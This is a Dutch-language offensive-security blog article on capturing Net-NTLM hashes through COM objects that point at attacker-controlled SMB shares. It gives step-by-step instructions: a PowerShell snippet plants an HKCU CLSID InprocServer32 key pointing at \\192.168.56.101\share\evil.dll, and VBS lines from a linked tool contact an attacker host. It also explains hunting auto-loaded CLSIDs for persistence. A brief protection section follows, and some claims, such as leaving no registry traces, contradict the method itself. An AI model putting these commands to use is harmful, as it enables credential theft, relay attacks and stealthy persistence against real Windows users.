Net-NTLM Hash Lekken via COM Auto-Execution
Windows-systemen maken gebruik van verschillende mechanismen om authenticatie te regelen. EƩn daarvan is NTLM (NT LAN Manager), een oud maar nog veelgebruikt protocol voor authenticatie binnen Windows-netwerken. Binnen Windows domeinen is Kerberos het standaard protocol (en daar vinden we ook wat van) maar als fallback wordt ook binnen Windows domeinen gebruik gemaakt van NTLM (of beter gezegd, alleen de NT hash).
Wanneer het niet lukt om een plain-text wachtwoord te onderscheppen maar je wel als Man-in-the-Middle kunt fungeren of verkeer kunt poisonen kunnen we delen van het challenge-response protocol onderscheppen. NTLM gebruikt dit protocol om credentials te verrifieren. Het onderdeel wat we krijgen is de zogenaamde Net-NTLM hash. Dit is een secret versleuteld met het wachtwoord van de target. We kunnen deze hash gebruiken voor een relay-the-hash aanval of brute-forcing.
Een bekende techniek om Net-NTLM-hashes te verkrijgen is SMB-relaying en het gebruik van speciale UNC-paden (\\attacker-ip\share). In dit artikel focussen we ons echter op een andere, minder bekende methode, namelijk het gebruik van “COM-objecten met auto-executie”. Deze COM-objecten kunnen Windows automatisch triggeren om verbindingen te maken naar een externe server die je als aanvaller controleert, waardoor de Net-NTLM hash naar je machine gestuurd wordt.
COM en Auto-Execution
COM (Component Object Model) is een technologie waarmee Windows-software componenten kan aanroepen of laden. Een COM-object kun je bijvoorbeeld gebruiken om een applicatie te automatiseren (denk aan Excel of Word via scripts).
Bepaalde COM-klassen triggeren automatisch verbindingen naar UNC-paden zodra je ze installeert of aanroept, omdat ze bij het laden bepaalde bestanden of componenten proberen op te halen. Als een aanvaller een COM-object registreert in het systeem (of een register key wijzigt) zodat het verwijst naar een UNC-pad zoals “\\maliciousserver\share”, dan zal Windows automatisch proberen die locatie te bereiken waarbij je Net-NTLM hash wordt meegestuurd.
Hoe werkt de aanval in de praktijk?
1. Het eerste dat de aanvaller zal doen is het starten van een malicious SMB server welke vraagt om authenticatie uit te voeren en deze authtenticatiegegevens (de Net-NTLM hash) achterhaald. Wij kunnen hier vele soorten tools voor gebruiken zoals ntlmrelayx van Impacket, Responder of smbserver.py.
2. Daarna zal de aanvaller een COM-class registrerern met een UNC-pad. Deze kan b.v. in het register een key aanmaken
HKEY_CURRENT_USER\Software\Classes\CLSID\{GUID}\InprocServer32 #In Default zet je: \\attacker-ip\share\payload.dll |
Het systeem zal nu automatisch proberen dit pad te benaderen als het COM-object wordt aangeroepen.
3 Het laden van het COM-object kan gebeuren via een applicatie, een script, of handmatig via rundll32, powershell of andere tools.
4. De aanvaller ontvangt nu de Net-NTLM hash. Hij kan deze hash opslaan om later te kraken of de hash relayen via een relay-the-hash aanval. Een “pass-the-hash” aanval is niet mogelijk met een Net-NTLM hash!
De aanval Automatiseren
We kunnen dit alles gemakkelijk handmatig programmeren of automatiseren middels een repository als: https://github.com/andreisss/NTLMv2-Hash-Leak-via-COM-Auto-Execution waarbij bepaalde built-in COM-methoden meteen aangeroepen en gebruikt worden.
frat.vbs toont 3 verschillende methoden om de Net-NTLM hash te lekken. De eerste “On Error Resume Next” regel in het script zorgt ervoor dat potentiele fouten onderdrukt worden en er geen fouten op het scherm getoond worden.
“Set sh = CreateObject(“Shell.Application”)” is de eerste methode. Hier wordt een Shell.Application COM object aangemaakt. Dit is alsof je het UNC pad in verkenner opent.
“Set fso = CreateObject(“Scripting.FileSystemObject”) fso.OpenTextFile attacker & “\trigger.txt”, 1″ is de tweede methode om een Net-NTLM hash te lekken. Hier wordt er nog een COM object aangemaakt, namelijk het FileSystemObject. Dit object probeert het bestand \\192.168.56.101\leak\trigger.txt te openen voor lezen (1 = ForReading).
“Set http = CreateObject(“MSXML2.XMLHTTP”) http.Open “GET”, attacker & “\test”, False http.Send” is de derde methode. Hier wordt er een XMLHTTP COM object gemaakt dat normaal wordt gebruikt voor HTTP-requests maar omdat de URL een UNC-pad is, probeert Windows een WebDAV of SMB-over-HTTP verbinding te maken.
leak.hta doet eigenlijk hetzelfde maar dan via een HTA file welke in sommige gevallen de VBA code uitvoert via de browser.
Voorbeeldcode om deze aanval handmatig te triggeren en als persistence te gebruiken
Hier is een PowerShell-voorbeeld waarmee je het COM-object aanmaakt en activeert:
*Let op: Het GUID {11111111-1111-1111-1111-111111111111} moet je vervangen door de waarde van een COM-object welke automatisch geladen wordt.
- Start Procmon als Administrator.
- Voeg een filter toe op Operation is RegQueryValue.
- Voeg eventueel een filter toe op Path contains CLSID.
- Reboot explorer.exe en zoek naar CLSID’s die geladen worden uit het register van de current user. Of als je deze methode als persistence wilt gebruiken zoek je naar sleutels die geladen worden vanit de HKLM hive.
#COM-object aanmaken $CLSID = "{855fec53-d2e4-4999-9e87-3414e9cf0ff4}" $RegPath = "HKCU:\Software\Classes\CLSID\$CLSID\InprocServer32" New-Item -Path $RegPath -Force Set-ItemProperty -Path $RegPath -Name "(default)" -Value "\\192.168.56.101\share\evil.dll" #COM-object triggeren New-Object -ComObject $CLSID |
Waarom is deze methode effectief?
- Native auto-execution: In deze aanval worden paden gebruikt die door Windows als “vertrouwd” worden gezien zoals de “Startup folder” of een “Run-registry key”.
- Built-in COM objects: We gebruiken geen exotische payload of shellcode. We gebruiken gewoon “normale” COM-objecten zoals “Shell.Application”, “Scripting.FileSystemObject” en “MSXML2.XMLHTTP”..
- Automatic NTLM auth: Wanneer het script naar een UNC pad verwijst zal Windows meteen proberen te verbinden en the authenticeren via NTLM.
- Geen restanten in het register aanwezig.
Bescherming
Er zijn verschillende manieren om jezelf te beschermen tegen deze aanval. Denk aan:
- Inkomende SMB-verbindingen beperken.
- Gebruik firewalls om uitgaande verbindingen naar het internet via poort 445 te blokkeren.
- Schakel NTLM-authenticatie zoveel mogelijk uit en stap bij voorkeur volledig over op Kerberos.
- Stel beleid en monitoring in om NTLM-lekken te voorkomen.
- Controleer periodiek (bij voorkeur geautomatiseerd) je registry op verdachte COM-registraties in HKCU\Software\Classes\CLSID\.
Conclusie
Het lekken van NTLMv2 hashes via COM auto-executie is een onderbelichte maar zeer effectieve techniek.
Het werkt omdat Windows automatisch probeert componenten op te halen als een COM-object geladen wordt en daarbij je authenticatiegegevens meestuurt.
Video
Beelden zeggen meer dan 1000 woorden. Wil je bovenstaande ook gedemonstreerd hebben in een video…? Ook deze heb ik voor je gemaakt! Zie: